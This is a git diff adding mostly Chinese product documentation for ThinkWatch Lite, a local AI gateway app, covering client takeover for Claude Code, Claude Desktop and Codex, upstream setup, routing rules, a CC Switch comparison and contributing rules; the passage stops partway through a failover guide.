Desktop clients such as Claude Desktop and Zed run on Windows and are connected under **This computer**. +- **Separate keys.** Each copy in WSL gets a key of its own, separate from the copy on Windows, and its files are edited through `\\wsl.localhost`. Restoring a client, **Restore all…** and a full uninstall cover the copies in WSL as well. +- **Reading starts a distribution.** Opening the Clients page reads each distribution through `\\wsl.localhost`, which starts a distribution that is not running. +- **Remote core.** When the app is connected to a gateway on a server, clients in WSL are pointed at the server like those on Windows, whatever the networking. +- **Paths.** A model may hand a client a path written for the other side. The built-in plugin **Convert WSL and Windows paths** on the Plugins page, off by default, rewrites drive paths in tool-call arguments to the form the client can open. Its scope can be limited to the clients in WSL, whose names look like `claude-code-wsl-ubuntu`. + +Related: [Features](/docs/lite/features/#client-setup), [Install and update](/docs/lite/install/), [Plugins](/docs/lite/plugins/). diff --git a/src/content/docs-lite/zh-CN/architecture.md b/src/content/docs-lite/zh-CN/architecture.md new file mode 100644 index 0000000..54cc9bb --- /dev/null +++ b/src/content/docs-lite/zh-CN/architecture.md @@ -0,0 +1,43 @@ +# 架构 + +ThinkWatch Lite 是网关的操作界面,并非网关本身。 + +## 目录结构 + +``` +src/ React 19 + Tailwind 4 前端 +src-tauri/ Tauri 2 外壳:托管 core,渲染菜单栏与托盘 +src-tauri/crates/ 客户端接管(tw-adopt)与配置扫描(tw-scan) +``` + +- **`src-tauri/`** 为 Tauri 2 外壳,负责启动并托管 ThinkWatch Core:core 退出后自动重启;连续多次启动失败后进入安全模式,只运行控制面,配置、历史与回滚仍然可用。外壳在 macOS 上渲染菜单栏,在 Windows 上渲染通知区域的图标与菜单,在 Linux 上渲染系统托盘的图标与菜单,并负责发送系统通知。开机启动时启动的是应用本身,再由应用启动 core;core 不单独注册开机启动。 +- **`src-tauri/crates/`** 包含 `tw-adopt` 与 `tw-scan`:前者把客户端指向网关并负责还原,后者为 MCP 页扫描客户端配置。两者都作用于运行应用的这台电脑,应用连接服务器上的 core 时也是如此。 +- **`src/`** 为前端,使用 React 19 与 Tailwind 4 编写。 + +## Lite 与 Core + +网关由 [ThinkWatch Core](/zh-CN/docs/core) 实现。本仓库不包含路由、转发或计量逻辑。 + +路由、转发、成本核算与脱敏均由 Core 负责。涉及数据通路的行为变更,应提交至 [ThinkWatch Core 仓库](https://github.com/ThinkWatchProject/ThinkWatch-Core)。 + +## 控制通道 + +Lite 读取和修改的一切都经由 Core 的控制接口。连接方式取决于 Core 运行在哪里: + +| Core 运行在 | 通道 | +|---|---| +| 同一台电脑,macOS 或 Linux | 数据目录中的 unix socket | +| 同一台电脑,Windows | 回环 TCP 端口 | +| 服务器 | 服务器的远程控制端口(TCP) | + +三种通道承载同一套 HTTP 接口,外面包着一次 Noise 握手(`Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`),预共享密钥是 Core 的 `config.yaml` 中的 `listen.control.key`。握手对连接双向加密与认证:能访问 socket 或端口、但不持有密钥的程序无法控制 Core。整个过程不使用 TLS,也不涉及证书。握手中交换双方版本,应用与 core 版本不一致时连接被拒绝。 + +对于应用自己启动的 core,应用从本机的 `config.yaml` 读取密钥;对于服务器上的 core,密钥在添加连接时填写一次,保存在应用数据目录中仅当前用户可读的文件里。参见[连接远程 core](/zh-CN/docs/lite/remote-core)。 + +## 界面约束 + +以下规则为强制要求,违反其中任何一条的改动都将被要求修改: + +- **禁止显示真实密钥**,包括界面、diff、日志、事件与诊断包。遮蔽在数据离开进程之前完成。 +- **禁止将估算值作为精确值呈现。** 实测、估算与无法计价的成本始终分列为三个数字。虚构的精确数字比明确标注「未知」危害更大。 +- **禁止在未展示 diff 的情况下删除用户的文件或配置。** 所有破坏性操作均通过应用自身的确认界面完成,不使用浏览器的 `confirm`。 diff --git a/src/content/docs-lite/zh-CN/claude-code-other-models.md b/src/content/docs-lite/zh-CN/claude-code-other-models.md new file mode 100644 index 0000000..4931704 --- /dev/null +++ b/src/content/docs-lite/zh-CN/claude-code-other-models.md @@ -0,0 +1,43 @@ +# 让 Claude Code 使用 GLM、DeepSeek 或 Kimi + +ThinkWatch Lite 把 Claude Code 接到本机的网关上,网关再把每个请求转发给提供所请求模型的上游。使用 GLM、DeepSeek 或 Kimi 的模型有两种做法:在 Claude Code 中直接使用模型名(`/model`,或 `settings.json` 中的模型变量),或者用路由规则把 Claude 的模型名改写为目标模型。这三个服务商都提供兼容 Anthropic 接口的地址,Claude Code 的请求无需格式转换即可发出。 + +## 准备 + +- 已[安装](/zh-CN/docs/lite/install/) ThinkWatch Lite;Claude Code 已至少运行过一次。 +- 服务商的 API 密钥。GLM 也可以改用开通了 GLM Coding Plan 的 Z.ai 或 BigModel 账号在应用内登录。 +- Claude Pro / Max 订阅登录不能作为上游;接管之后,Claude Code 改用网关密钥。 + +## 步骤 + +1. 在「上游」页点击「新建上游」。第一步「服务类型」把服务分三组列出,可以搜索;选定后直接进入「连接」,只询问该服务需要的内容: + - 「DeepSeek」:自动填入 `https://api.deepseek.com/anthropic` 和接口协议,再填写「API 密钥」。 + - GLM(API 密钥):选「Z.ai / BigModel」,在「站点」中选择「BigModel(中国大陆)」或「Z.ai(国际)」,兼容 Anthropic 接口的地址随之确定,再填写「API 密钥」。自 ThinkWatch Lite 2026.10.5 起,也可以选「自定义」使用 GLM 的 OpenAI 兼容地址,「接口协议」选「OpenAI Chat Completions」:`https://api.z.ai/api/paas/v4` 或 `https://open.bigmodel.cn/api/paas/v4`,GLM Coding Plan 使用 `…/api/coding/paas/v4`。这时 Claude Code 的请求需要转换格式,因此 Anthropic 地址更直接。 + - GLM(账号登录):选「Z.ai / BigModel」,「认证方式」选「账号登录」,在「站点」中选择站点,勾选「已阅读上述说明」,点击「在浏览器中登录」并完成授权;要在默认浏览器以外的浏览器中登录,改点「复制链接」。应用在该账号中创建一把名为 `thinkwatch` 的 API 密钥,并写入上游。 + - Kimi:选「自定义」,「接口地址」填 Kimi 文档给出的兼容 Anthropic 接口的地址,「接口协议」选「Anthropic Messages」。Kimi For Coding 还需在「高级设置」中打开「转发客户端身份」。 + + 使用 API 密钥时,点击「下一步」即验证地址与凭据并获取模型列表,不产生费用;之后再点击两次「下一步」,然后点击「创建」。账号登录后上游已经写入,对话框直接进入「模型」,点击「下一步」,再点击「完成」。 +2. 在「客户端」页 Claude Code 一行点击「接管…」。对话框列出 `~/.claude/settings.json` 中要修改的字段:`env.ANTHROPIC_BASE_URL`、`env.ANTHROPIC_AUTH_TOKEN`(新密钥 `claude-code`)和 `env.CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY`。点击「接管」。 +3. 选择指定模型的方式: + - **直接使用模型名。**在 Claude Code 中输入 `/model <模型 ID>` 即切换到该模型,也可以用 `claude --model <模型 ID>` 启动。要让 Claude Code 的模型别名对应到该模型,在 `~/.claude/settings.json` 的 `env` 中加入以下变量;其中 Haiku 一项也用于后台任务。 + + ```json + "ANTHROPIC_DEFAULT_OPUS_MODEL": "<模型 ID>", + "ANTHROPIC_DEFAULT_SONNET_MODEL": "<模型 ID>", + "ANTHROPIC_DEFAULT_HAIKU_MODEL": "<模型 ID>" + ``` + + 这种做法不需要路由规则:默认路由会跳过模型列表中没有该模型的上游。 + - **改写模型名。**在「路由」页打开 `default` 路由,点击「添加规则」。通过「添加条件」加入「模型」`claude-*`,再加入「密钥」`claude-code`,使其他客户端不受影响。「命中后」选「转发」,「转发至」选该上游,在「改写参数」的「模型改为」中填入目标模型 ID。点击「添加」,再点击「保存」。Claude Code 中显示的仍是 Claude 的模型名。 + +## 说明 + +- **格式转换。**Claude Code 发出的是 Anthropic Messages;接口协议同为 Anthropic Messages 时,请求按原格式发出,网关只去掉 `metadata.user_id` 等身份字段。只有上游使用其他格式时才会转换,例如兼容 OpenAI 的地址配合接口协议 OpenAI Chat Completions:此时「流量」页把该请求标为「已转换」,请求详情列出被丢弃的字段。网页搜索是服务端工具,无法转换,这类请求不会发往此类上游。「自动识别」认不出这三个服务商的地址,会按客户端的原格式转发,对 Claude Code 可用,对 Codex 这类使用其他格式的客户端则不可用。 +- **转发客户端身份**默认关闭,上游看到的是 ThinkWatch 的 User-Agent,不带客户端身份。Kimi For Coding、百炼 Coding Plan 等上游只接受特定客户端;打开开关后,上游收到 Claude Code 自己的 User-Agent、`x-app` 等身份请求头和请求体中的身份字段,均为原值。 +- **GLM Coding Plan。**地址在 `api.z.ai` 或 `open.bigmodel.cn` 上的上游,无论应用内登录还是手动填写密钥,都在「额度 / 计费」列和菜单栏(或托盘菜单)中显示 5 小时与每周额度,积分制套餐另外显示剩余积分。 +- **余额。**DeepSeek 上游,以及地址在 `api.moonshot.cn` 或 `api.moonshot.ai` 上的 Kimi 上游,在「额度 / 计费」列中显示账户余额。 +- **`/model` 列表**只显示名称含 `claude` 或 `anthropic` 的网关模型;其他模型需要输入名称,或用 `ANTHROPIC_CUSTOM_MODEL_OPTION` 加入一项。 +- **费用。**改写过模型名的请求按实际发出的模型计价。 +- **「还原…」**只恢复应用写入的字段,手动加入的模型变量仍留在 `settings.json` 中。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/)、[让 Codex 使用 Claude、Gemini 或只提供 Chat Completions 的中转](/zh-CN/docs/lite/codex-other-models/)、[让 Claude Desktop 使用第三方模型](/zh-CN/docs/lite/claude-desktop-third-party-models/)。 diff --git a/src/content/docs-lite/zh-CN/claude-desktop-third-party-models.md b/src/content/docs-lite/zh-CN/claude-desktop-third-party-models.md new file mode 100644 index 0000000..c163eaa --- /dev/null +++ b/src/content/docs-lite/zh-CN/claude-desktop-third-party-models.md @@ -0,0 +1,36 @@ +# 让 Claude Desktop 使用第三方模型 + +ThinkWatch Lite 通过 Claude Desktop 官方的第三方推理模式接入,把本机的网关设为推理提供方。Claude Desktop 只接受形如 Claude 的模型名,因此由一条路由规则把这些名称改写为实际服务请求的模型,可以是 GLM、DeepSeek、Kimi 或其他任何上游的模型。由组织统一管理的 Claude Desktop 不做修改。 + +## 准备 + +- 已[安装](/zh-CN/docs/lite/install/) ThinkWatch Lite;Claude Desktop(macOS 或 Windows)已至少打开过一次。第三方推理模式不需要 Anthropic 账号。 +- 已在「上游」页添加提供该模型的上游。GLM、DeepSeek 与 Kimi 的添加方法见[让 Claude Code 使用 GLM、DeepSeek 或 Kimi](/zh-CN/docs/lite/claude-code-other-models/)。 + +## 步骤 + +1. 在「客户端」页 Claude Desktop 一行点击「接管…」。对话框列出四个文件,macOS 上位于 `~/Library/Application Support`;Windows 上 `Claude-3p` 位于 `%LOCALAPPDATA%`,`Claude` 位于 `%APPDATA%`。 + + | 文件 | 改动 | + |---|---| + | `Claude-3p/configLibrary/7477a7c4-1ce0-4d3a-9b1e-7477a7c40001.json` | 名为 ThinkWatch 的一份配置:`inferenceProvider` 为 `gateway`、网关地址、以 `x-api-key` 方式发送的密钥、`chatTabEnabled`,以及模型列表 `inferenceModels` | + | `Claude-3p/configLibrary/_meta.json` | 登记 ThinkWatch 这一项,并把 `appliedId` 指向它;其他配置保持不变 | + | `Claude-3p/claude_desktop_config.json` | 只把 `deploymentMode` 设为 `3p` | + | `Claude/claude_desktop_config.json` | 把 `deploymentMode` 设为 `3p`;其中的 MCP 服务器保持不变 | + + `inferenceModels` 写入网关模型中名称形如 Claude 的那些:`claude-` 之后紧跟 `sonnet`、`opus`、`haiku` 或 `fable` 及版本号。一个都没有时,说明中会写明将写入 `claude-sonnet-5`,并给出一条示例规则。点击「接管」。 +2. 在「路由」页打开 `default` 路由,点击「添加规则」。通过「添加条件」加入「模型」`claude-*` 和「密钥」`claude-desktop`(接管对话框中写明的密钥)。「命中后」选「转发」,「转发至」选该上游,在「改写参数」的「模型改为」中填入目标模型 ID。点击「添加」,再点击「保存」。 +3. 完全退出 Claude Desktop 再重新打开。打开时如出现登录页,在登录页选择通过网关继续,只需一次。 + +## 说明 + +- **由组织统一管理。**托管配置优先于本机的一切设置:macOS 上是 `/Library/Managed Preferences` 下的 `com.anthropic.claudefordesktop.plist`,Windows 上是 `HKLM` 或 `HKCU` 下的注册表项 `SOFTWARE\Policies\Claude`。此时「客户端」页不提供「接管…」,详情中显示「这台电脑的 Claude Desktop 由组织统一管理」。 +- **模型列表。**`inferenceModels` 在接管时写入,之后不提示更新。网关上的模型变化后,先「还原…」再重新接管即可刷新。 +- **云服务商配置。**Claude Desktop 原本通过另一份配置使用 Amazon Bedrock、Google Cloud Agent Platform 或 Microsoft Foundry 时,对话框会说明:接管期间改用 ThinkWatch 的配置,还原时切回原配置。原配置为 Bedrock 时,还提供「新建 Bedrock 上游…」,按原来的设置预填。 +- **对话与联网搜索。**该模式下的对话与原有对话分开保存。联网搜索不经过网关,需要另外配置。 +- **「还原…」**把两个文件中的 `deploymentMode` 改回原值,从 `_meta.json` 中摘掉 ThinkWatch 这一项;接管前使用的配置仍在时,`appliedId` 指回它;并删除 ThinkWatch 的那份配置。 +- **配置检查。**在 Claude Desktop 中换用了其他配置时,详情显示「Claude Desktop 中正在使用的是另一份配置」;`deploymentMode` 不是 `3p` 时,显示「Claude Desktop 可能仍以原有模式启动」。 +- **手动配置。**同样的设置也可以在 Claude Desktop 中完成:依次打开 Help → Troubleshooting → Enable Developer Mode,然后打开 Developer → Configure Third-Party Inference;选择网关作为提供方,填入网关地址和密钥,鉴权方式设为 `x-api-key`,点击 Apply Changes。 +- **费用。**改写过模型名的请求按实际发出的模型计价。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/)、[让 Claude Code 使用 GLM、DeepSeek 或 Kimi](/zh-CN/docs/lite/claude-code-other-models/)、[安装与更新](/zh-CN/docs/lite/install/)。 diff --git a/src/content/docs-lite/zh-CN/codex-other-models.md b/src/content/docs-lite/zh-CN/codex-other-models.md new file mode 100644 index 0000000..59d980a --- /dev/null +++ b/src/content/docs-lite/zh-CN/codex-other-models.md @@ -0,0 +1,39 @@ +# 让 Codex 使用 Claude、Gemini 或只提供 Chat Completions 的中转 + +ThinkWatch Lite 把 Codex 接到本机的网关上,网关接收 OpenAI Responses API,这也是 Codex 对自定义服务商使用的唯一格式。网关在 Responses 与上游的格式之间双向转换请求和回答:Claude 用 Anthropic Messages,Gemini 用 Google Gemini,只提供 OpenAI Chat Completions 的中转用 Chat Completions。使用哪个模型,在 Codex 的配置中指定,或由路由规则改写。 + +## 准备 + +- 已[安装](/zh-CN/docs/lite/install/) ThinkWatch Lite。 +- Codex 已至少运行过一次:Codex 命令行,或 ChatGPT 桌面版中的 Codex 均可。 +- Anthropic、Google Gemini 或中转站的 API 密钥。 + +## 步骤 + +1. 在「上游」页点击「新建上游」,在第一步「服务类型」中选择服务,选定后直接进入「连接」:Claude 选「Anthropic」,Gemini 选「Google Gemini」,接口地址和接口协议会自动填入。中转站在「平台与中转」中选择对应的服务,其他中转站选「自定义」。「OpenRouter」自动填入地址和接口协议;选「Sub2API」「New API / One API」或「自定义」时,「接口地址」填中转站的 Base URL(不含 `/chat/completions` 等接口路径),「接口协议」选「OpenAI Chat Completions」;例如 GLM 选「自定义」,填 `https://api.z.ai/api/paas/v4`,GLM Coding Plan 填 `…/api/coding/paas/v4`。以自带版本号结尾的地址(如 `/v4`、火山方舟的 `/api/v3`),自 ThinkWatch Lite 2026.10.5 起按原样使用。填写「API 密钥」,点击「下一步」,同时检测连接。中转站不提供模型列表或没有列全时,在「模型」一节末尾的输入框中逐个填写缺少的模型 ID 并回车。再点击「下一步」,然后点击「创建」。 +2. 在「客户端」页 Codex 一行点击「接管…」。对话框列出对 `~/.codex/config.toml` 的修改: + + | 字段 | 写入 | + |---|---| + | `model_provider` | `thinkwatch` | + | `model_providers.thinkwatch.base_url` | 带 `/v1` 的网关地址,默认为 `http://127.0.0.1:8788/v1` | + | `model_providers.thinkwatch.wire_api` | `responses` | + | `model_providers.thinkwatch.experimental_bearer_token` | 新密钥 `codex` | + | `model_providers.thinkwatch.http_headers` | `X-ThinkWatch-Client = "codex"` | + | 同一表中的 `name`、`requires_openai_auth`、`supports_websockets` | `ThinkWatch`、`false`、`false` | + + 点击「接管」,然后重新打开终端。ChatGPT 桌面版读取同一份配置文件,重新启动后生效。 +3. 指定模型。接管不修改 `model`,Codex 仍会请求原来的模型。可以任选一种做法: + - 在 `~/.codex/config.toml` 开头、第一个 `[表名]` 之前写入 `model = "<模型 ID>"`;只用一次时,运行时加 `-c model=<模型 ID>`。 + - 保留 Codex 的模型名并改写:在「路由」页打开 `default` 路由,点击「添加规则」,加入条件「模型」`gpt-*` 和「密钥」`codex`,「命中后」选「转发」,「转发至」选该上游,在「改写参数」的「模型改为」中填入目标模型 ID。点击「添加」,再点击「保存」。 + +## 说明 + +- **Codex 的内置模型表。**Codex 把自家模型的元数据(上下文窗口等)编在程序里。它不认识的模型,例如 Claude 或 Gemini 的模型,按兜底元数据运行,上下文窗口为 272,000 token,并提示「Model metadata for `<模型>` not found. Defaulting to fallback metadata; this can degrade performance and cause issues.」。模型的上下文窗口更小时,可在 `config.toml` 中用 `model_context_window` 设定 Codex 采用的窗口。网关的模型列表不会出现在 Codex 的模型选择中,因为 Codex 要求的是它自己格式的模型目录。 +- **格式转换。**请求和流式回答双向转换。「流量」页把这类请求标为「已转换」,目标格式无法承载的字段被丢弃,并在请求详情中列出。网页搜索这类服务端工具只能由所属的服务商执行,转换时被丢弃。Codex 的 `wire_api` 只支持 `responses`,只提供 Chat Completions 的中转正是靠这一转换才能使用。 +- **工具、历史与压缩。**自 ThinkWatch Lite 2026.10.11 起,Codex 声明的所有工具都会发给上游,包括写在输入中而不在 `tools` 里的工具,工具调用按 Codex 给出的名称返回。历史中的本地 shell 调用、工具搜索和推理强度的变更同样会转换。长会话的上下文压缩可以正常进行:由上游写出摘要,Codex 把它作为压缩结果保存,并在之后的请求中带回。OpenAI 加密的压缩结果无法由其他上游读取,带有这类内容的请求会被拒绝,并说明原因。Codex 在对话中途加入的指令留在原位,系统提示词因此每轮保持不变,提示缓存持续命中。 +- **凭据。**`requires_openai_auth = false` 使 Codex 用自己的网关密钥连接网关,不发送 OpenAI 密钥或 ChatGPT 令牌。应用内登录的 ChatGPT 账号仍可同时作为 OpenAI 模型的上游:每个请求都交给模型列表中有所请求模型的上游。 +- **会话。**接管前后的会话在 Codex 中分开显示。运行 `codex resume <会话 ID> -c model_provider=thinkwatch` 可以通过网关继续之前的会话。「还原…」之后,接管期间的会话仍可打开,此时直连 OpenAI。 +- **费用。**改写过模型名的请求按实际发出的模型计价。Codex 不标注提示缓存断点,因此发往 Anthropic Messages 格式的上游,或 Bedrock 上 AWS 列为支持提示缓存的 Claude 模型(Claude 3.5 Sonnet v2、Claude 3.7 Sonnet 以及 Claude 4.5 起的模型)时,网关在工具、系统提示词和最后两轮用户消息处标注,每一轮都能读取上一轮写入的缓存。Bedrock 上更早的 Claude 模型(如 Sonnet 4)不标注;上游拒绝这些标注时,网关去掉标注重新发送一次。缓存写入与读取按价目表的缓存单价计费;Anthropic 的缓存写入比输入贵 25%,读取为输入的十分之一。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/)、[让 Claude Code 使用 GLM、DeepSeek 或 Kimi](/zh-CN/docs/lite/claude-code-other-models/)、[安装与更新](/zh-CN/docs/lite/install/)。 diff --git a/src/content/docs-lite/zh-CN/compare-cc-switch.md b/src/content/docs-lite/zh-CN/compare-cc-switch.md new file mode 100644 index 0000000..37f01c1 --- /dev/null +++ b/src/content/docs-lite/zh-CN/compare-cc-switch.md @@ -0,0 +1,52 @@ +# ThinkWatch Lite 与 CC Switch 对比 + +CC Switch 与 ThinkWatch Lite 都用于把 Claude Code、Codex 等 AI 编程客户端接到不同的服务商,两者都采用 MIT 许可证。CC Switch 通过改写各客户端的配置文件切换供应商,另有可选的本地代理;ThinkWatch Lite 让客户端只接入一次本机网关,此后的切换、路由与记录都在网关中完成,发出前可以替换请求中的凭据,回答中的危险工具调用可以被切断。 + +## 做法的区别 + +CC Switch 把供应商保存在自己的数据库中。启用一个供应商时,把它的地址和密钥写入客户端的配置,例如 Claude Code 的 `~/.claude/settings.json` 中的 `env.ANTHROPIC_BASE_URL`,或 Codex 的 `~/.codex/auth.json` 与 `config.toml`。Claude Code 无需重启即可生效,其他多数客户端需要重启客户端或终端。 + +它的本地代理模式(手册中称为「路由」)适用于 Claude Code、Codex、Gemini CLI 与 Grok Build。为某个客户端开启后,CC Switch 把该客户端的配置改为指向本地代理(默认 `http://127.0.0.1:15721`);此后在代理内切换供应商,不需要重启客户端;关闭代理时还原配置。代理请求日志、故障转移与格式转换都需要这一模式。 + +ThinkWatch Lite 在本机运行网关 ThinkWatch Core。在客户端页把每个客户端接管一次:给出完整的改动差异,备份原文件,并为该客户端分配单独的密钥。此后更换上游、调整路由规则与故障转移都在网关中进行,不再改动客户端的配置。 + +## 对比 + +表中的「—」表示该产品的文档中没有描述这项功能。 + +| | CC Switch | ThinkWatch Lite | +|---|---|---| +| 客户端 | Claude Code、Claude Desktop、Codex、Gemini CLI、Grok Build、OpenCode、OpenClaw、Hermes Agent、Pi、MiniMax Code | 一键接管:Claude Code、Claude Desktop、Codex(含 ChatGPT 桌面版中的 Codex)、opencode、Pi、oh-my-pi、Grok Build、Qwen Code、Hermes Agent、Zed、Aider、DeepSeek Harness;提供配置方法:Cursor、Continue、Antigravity CLI | +| 添加供应商 | 50 余个供应商预设;`ccswitch://` 链接可导入供应商、MCP 服务器、提示词与技能 | 新建上游先选择服务,分三组:模型厂商(Anthropic、OpenAI、Google Gemini、DeepSeek、Z.ai / BigModel)、平台与中转(Amazon Bedrock、OpenRouter、ThinkWatch 企业版、Sub2API、New API / One API),以及 Ollama 与任何兼容接口;ChatGPT 与 Z.ai / BigModel 账号在对话框内登录;中转站、服务商或 ThinkWatch 企业版控制台可通过 `thinkwatch://import` 链接为任一服务类型预填「新建上游」对话框,包括请求头、模型与价目表 | +| 路由 | 代理模式下,每个客户端的请求发往它当前的供应商;可按供应商映射模型 | 每把密钥的规则按顺序匹配模型、API 格式、输入 token、工具、图片、扩展思考等条件;规则可以改写模型 | +| 故障转移 | 按优先级排列的故障转移队列,带熔断(代理模式) | 回答开始之前尝试失败时,转到策略组中的下一个上游;同一会话默认保持在同一个上游 | +| 负载均衡 | — | 策略组:按顺序、手动选择、轮询、延迟最低、费用最低 | +| API 格式转换 | 代理模式下:Claude Code 接 OpenAI Chat Completions 或 Responses 的供应商;Codex 接 Chat Completions 或 Anthropic Messages 的供应商 | 在 Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 与 Gemini 之间转换 | +| 用量与费用 | 请求数、token、缓存命中率与估算费用,数据来自代理日志或客户端的会话日志;自定义价格,可选从 models.dev 同步价格;显示订阅额度与余额 | 按区间、模型、上游统计 token、费用与请求数;价格取自每天更新的 LiteLLM 价目表或自定义价目表;估算部分单独标出,无法计价的请求单独计数;显示上游报告的余额与额度 | +| 请求详情 | 供应商、模型、token、费用、耗时与状态;可查看请求参数、响应摘要与错误信息 | 命中的规则、每一次尝试及其状态、请求与响应正文、费用;可全文搜索;可在另一个上游重放 | +| 出站脱敏与工具调用审查 | — | 请求发出前把 API 密钥、私钥、身份证号与银行卡号替换为占位符;回答中含下载并执行代码、外发凭据等工具调用时切断响应。两项出厂均为「观察」,只记录、不改动 | +| MCP 与技能 | 统一的 MCP 服务器列表,同步到选定的客户端;从 GitHub 仓库或 ZIP 文件安装技能 | 并排列出 13 个客户端的 MCP 服务器,其中 4 个可复制或移除;列出技能与钩子;扫描隐藏字符、提示注入、危险命令与过宽权限 | +| 提示词 | 提示词预设写入 `CLAUDE.md`、`AGENTS.md` 或 `GEMINI.md` | — | +| 会话 | 读取客户端自己的会话文件;可搜索、在终端中恢复、删除 | 把经过网关的请求归为会话,按轮还原对话 | +| 订阅账号 | 通过其反向代理使用 ChatGPT(Codex OAuth)、GitHub Copilot 与 xAI 账号 | ChatGPT 与 Z.ai / BigModel 账号作为上游登录;不支持 Claude Pro 或 Max 订阅登录 | +| 服务器与远程 | —(代理可监听 `0.0.0.0` 供局域网访问;供应商数据可通过 Dropbox、OneDrive、iCloud 或 WebDAV 在设备间同步) | 网关以 systemd 服务运行在 Linux 服务器上,由桌面应用经加密的控制通道管理 | +| 平台 | Windows 10 及以上;macOS 12 及以上(Intel 与 Apple 芯片,已签名并经 Apple 公证);Linux(deb、rpm、AppImage) | macOS 12 及以上(Apple 芯片);Windows 10 21H2 及以上(x64、ARM64);Linux(x86_64、aarch64,AppImage);未经 Apple 或微软签名 | +| 许可证 | MIT | MIT | + +## 如何选择 + +- **CC Switch**:只需要在几个供应商之间快速切换、希望从预设开始配置、需要统一管理多个客户端的 MCP 服务器、提示词与技能时,CC Switch 更直接。 +- **ThinkWatch Lite**:需要按请求查看费用与去向、按规则路由、避免请求中的凭据落到中转站手中,或需要在服务器上运行网关时,适合 ThinkWatch Lite。 + +## 同时使用 + +两者都会写入 Claude Code 的接口地址(`~/.claude/settings.json` 中的 `env.ANTHROPIC_BASE_URL`)以及 Codex 的 `~/.codex/config.toml`。两者同时接管同一个客户端时会相互覆盖:最后一次写入决定客户端的请求发往哪里,而各自的还原会写回自己改动之前保存的值。 + +每个客户端只交给其中一个管理时,两者可以并存,例如由 CC Switch 管理 ThinkWatch Lite 不接管的 Gemini CLI 或 OpenClaw,由 ThinkWatch Lite 接管 Claude Code 与 Codex。把一个客户端从 CC Switch 转给 ThinkWatch Lite 时,先在 CC Switch 中关闭该客户端的代理,并停止在 CC Switch 中切换它的供应商,再到客户端页接管;转回时,先在客户端页还原。 + +## 说明 + +- 关于 CC Switch 的内容据 CC Switch 2026 年 10 月的文档,即 v3.20.4 的 README、用户手册与发布说明([farion1231/cc-switch](https://github.com/farion1231/cc-switch)),之后的版本可能有所变化。 +- 关于 ThinkWatch Lite 的内容适用于 2026.10.4 版本。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/)、[安装与更新](/zh-CN/docs/lite/install/)、[连接远程 core](/zh-CN/docs/lite/remote-core/)、[常见问题](/zh-CN/docs/lite/faq/)。 diff --git a/src/content/docs-lite/zh-CN/contributing.md b/src/content/docs-lite/zh-CN/contributing.md new file mode 100644 index 0000000..909ca32 --- /dev/null +++ b/src/content/docs-lite/zh-CN/contributing.md @@ -0,0 +1,40 @@ +# 贡献指南 + +## PR 目标分支 + +```bash +gh pr create --base dev --head your-branch +``` + +`main` 为发布分支,`dev` 用于合入日常工作。GitHub 新建 PR 时以默认分支 `main` 作为 base,**该默认值并非正确的目标分支**。如已向 `main` 提交 PR,点击 PR 标题旁的 *Edit* 修改 base 即可,提交与讨论记录均会保留。 + +## 已确定的范围 + +以下决定已经确定,不接受相关 PR: + +- **macOS、Windows 与 Linux,同一个 tag 发布。** 每个版本的 tag 产出五个供安装的文件,网关都在包内,旁边各附 sha256:macOS 的 arm64 磁盘映像,Windows 的 x64 与 arm64 安装程序,以及 Linux 的 x86_64 与 aarch64 AppImage。 +- **macOS:只面向 Apple silicon,且未经 Apple 签名。** macOS 的产物是磁盘映像中的 arm64 `.app`,使用项目自己的自签名证书签名。该证书不满足 Gatekeeper 的要求,它的作用是让每个版本的签名者保持一致,Homebrew 升级时才不会提示签名者变更。Intel 的通用二进制和 Developer ID 签名都是持续成本,目前没有人承担,因此只加公证步骤、没有对应账号的 PR 无法合并;让构建回退到本机架构的 PR 同样无法合并——那会发出一个部分用户下载后打不开的文件。 +- **Windows:未经代码签名。** 安装程序不带 Authenticode 签名,项目也不会购买证书,因此首次运行下载的安装程序时 SmartScreen 会发出警告。更新包与 macOS 一样,用编译进应用的公钥验签。 +- **Linux:只发布 AppImage。** 不提供 deb、rpm、Flatpak 或 Snap。沙箱格式无法启动随包的 `twcore`,也无法修改 `~/.claude` 等客户端配置;AppImage 自动更新时不需要输入密码。构建以 glibc 2.35(Ubuntu 22.04)与 WebKitGTK 4.1 为底线。 + +网关本体(路由、转发、成本核算、脱敏)由 [ThinkWatch Core](https://github.com/ThinkWatchProject/ThinkWatch-Core) 实现。涉及数据通路的行为变更,应提交至该仓库。 + +## 提交信息 + +使用 Conventional Commits(`fix(scope): subject`),并以**英文**书写:本仓库为公开仓库,提交历史即为文档。 + +正文应说明*原因*,而不仅是*改动内容*;改动内容已由 diff 体现。 + +## 提交 PR 前的检查 + +```bash +pnpm typecheck +pnpm test +cargo fmt --manifest-path src-tauri/Cargo.toml --all --check +cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings +cargo test --manifest-path src-tauri/Cargo.toml +``` + +警告视为错误。工具链为 `stable`,若其版本新于本地工具链,可能报告本地未出现的 lint;排查 CI 问题前,请先执行 `rustup update stable`。 + +另请参阅[界面约束](/zh-CN/docs/lite/architecture)。 diff --git a/src/content/docs-lite/zh-CN/failover-and-load-balancing.md b/src/content/docs-lite/zh-CN/failover-and-load-balancing.md new file mode 100644 index 0000000..3ba4565 --- /dev/null +++ b/src/content/docs-lite/zh-CN/failover-and-load-balancing.md @@ -0,0 +1,38 @@ +# 在多个中转站和多把密钥之间自动故障转移与负载均衡 + +ThinkWatch Lite 把每个中转站的每把密钥建成一个上游,再把多个上游放进一个策略组。路由规则把请求转发至策略组,由策略决定成员的先后;某个上游在回答开始之前失败时,网关把请求交给下一个上游,客户端不会看到这次错误。提示缓存值得保留时,同一段对话继续使用上次回答它的上游。 + +## 准备 + +- 已[安装](/zh-CN/lite/#install) ThinkWatch Lite,并已在客户端页接管客户端。本文按 2026.10.11 版编写。 +- 各中转站的接口地址和 API 密钥。 + +## 步骤 + +1. 在上游页选择「新建上游」,在「服务类型」中选择服务(中转站在「平台与中转」中选择对应的服务,或选「自定义」)。在「连接」中填写「名称」和一把「API 密钥」,服务要求时再填写「接口地址」,再依次选择「下一步」直到「创建」,第一次「下一步」时检测连接。每把密钥重复一次:一个上游只有一把密钥,故障转移和暂停都以上游为单位。 +2. 